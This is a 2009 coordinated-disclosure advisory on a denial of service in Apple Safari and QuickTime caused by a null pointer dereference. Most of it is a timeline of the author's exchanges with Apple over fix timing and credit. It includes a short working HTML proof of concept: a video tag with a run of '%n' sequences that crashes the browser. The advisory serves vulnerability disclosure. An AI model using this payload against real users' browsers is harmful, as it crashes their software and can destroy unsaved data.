130 lines
No EOL
5.3 KiB
Text
130 lines
No EOL
5.3 KiB
Text
________________________________________________________________________
|
|
|
|
Apple Safari & Quicktime Denial of Service
|
|
________________________________________________________________________
|
|
|
|
Shameless plug :
|
|
------------------------------------------------------------------------
|
|
You are invited to join the 2009 edition of HACK.LU, a small but
|
|
concentrated luxemburgish security conference.
|
|
More information : http://www.hack.lu - CFP is open, sponsorship is still
|
|
possible and warmly welcomed.
|
|
------------------------------------------------------------------------
|
|
|
|
Release mode: Coordinated
|
|
Ref : [TZO-36-2009] - Apple Safari & Quicktime DoS
|
|
Vendor : http://www.apple.com
|
|
WWW : http://blog.zoller.lu/2009/05/advisory-apple-safari-quicktime-dos.html
|
|
Status : Not patched
|
|
Credit : none given (Apple can't find a place to credit)
|
|
Discovered : 18.11.2008 Zoller, 19.06.2009 Alexios Fakos (probably plenty
|
|
of others)
|
|
Security notification reaction rating : good
|
|
Notification to patch window : n+1
|
|
|
|
Disclosure Policy : http://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html
|
|
|
|
Affected products
|
|
- Apple Safari (all)
|
|
- Quicktime (all)
|
|
|
|
|
|
I. Background
|
|
~~~~~~~~~~~
|
|
Wikipedia quote: "Apple Inc. (NASDAQ: AAPL) is an American multinational
|
|
corporation which designs and manufactures consumer electronics and
|
|
software products. The company's best-known hardware products include
|
|
Macintosh computers, the iPod and the iPhone."
|
|
|
|
II. Description
|
|
~~~~~~~~~~~~~
|
|
A null pointer is being dereference when CFRelease() is called on NULL.
|
|
|
|
III. Impact
|
|
~~~~~~~~~
|
|
The browser will crash, your data might be lost.
|
|
|
|
IV. Proof of concept (hold your breath)
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
<html>
|
|
<video src=%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n>Video</video>
|
|
</html>
|
|
|
|
V. Disclosure timeline
|
|
~~~~~~~~~~~~~~~~~~~~~~~
|
|
DD/MM/YYYY
|
|
18/11/2008 : Send proof of concept file and a description that failed to
|
|
give the correct impact.
|
|
|
|
25/11/2009 : Apple acknowledges receipt and reproducability :
|
|
"After investigating this issue further, we've determined
|
|
that the crash your test case triggers is caused by
|
|
dereferencing a null pointer and not from a format string issue"
|
|
|
|
20/01/2009 : Ask for an update
|
|
|
|
23/01/2009 : Apple sends an encrypted and signed PGP mail, fine, however the mail
|
|
is encrypted with their own key
|
|
|
|
23/01/2009 : Ask for the mail to be resend as I don't have Apple's private key
|
|
|
|
24/01/2009 : Apple states that "Regarding the QuickTime null dereference you
|
|
reported, this bug is still being worked on by our engineers
|
|
and is not addressed in QuickTime 7.6"
|
|
|
|
26/01/2009 : Ask apple for a fix timeline as this is an ridiculouly easy to fix
|
|
vulnerability
|
|
|
|
27/01/2009 : Apple statest "Regarding the QuickTime null deref issue, it is
|
|
currently set to be part of the next QuickTime update. [..]
|
|
Additionally, we do not intend to describe this crasher in our
|
|
security advisory.
|
|
|
|
Note: No Security advisory = no credit, should have published here.
|
|
|
|
28/01/2009: Apple states "Given that we are handling this as a crasher and
|
|
not as a security exposure, it stands to reason that you may
|
|
want to disclose it without waiting for the update that
|
|
addresses it and without further coordination with Apple.
|
|
We do appreciate the fact that you reported it to us and are
|
|
intending to address it in the next available update"
|
|
|
|
[..]
|
|
[Several discussion about CIA, why a DoS against the iPhone is worth a security
|
|
advisory, when it isn't against safari.. etc. I spare you the details]
|
|
[..]
|
|
|
|
29/01/2009 : Ask why I should hold disclosure for a DoS in a particular
|
|
portable apple product but disclose DoS in other apple products.
|
|
Asked apple to make a choice, either DoS is a security issue and
|
|
I won't disclose or it isn't and I disclose all of them,
|
|
including the one in the very portable apple product
|
|
|
|
30/01/2009 : Apple answers that
|
|
"Your QuickTime and Safari issues constitute denial of service.
|
|
We consider any denial of service issue to be security related,
|
|
and they are important to fix. We plan to fix the ones you
|
|
reported in the next available updates."
|
|
|
|
"I believe we can put credit in an appropriate place for the
|
|
WebKit/Safari change. I was not able to locate a suitable place
|
|
for crediting the QuickTime crasher"
|
|
|
|
Fast forward 5 months, and apple releases a stream of code execution bug fixes
|
|
for Quicktime.
|
|
|
|
01/06/2009 : Ask for an update and if the DoS condition has been fixed
|
|
|
|
02/06/2009 : Apple states that
|
|
"According to our bug tracking system the null-dereference crasher
|
|
issue is not yet addressed in QuickTime. We are investigating
|
|
now to see if for some reason the latest version has picked up
|
|
changes that address this issue and will send you feedback
|
|
today about it."
|
|
|
|
In summary, no credit, no advisory, and 7 months of time to (not) fix a
|
|
single line of code.
|
|
|
|
10/06/2009 : Release of this advisory
|
|
|
|
# milw0rm.com [2009-06-15] |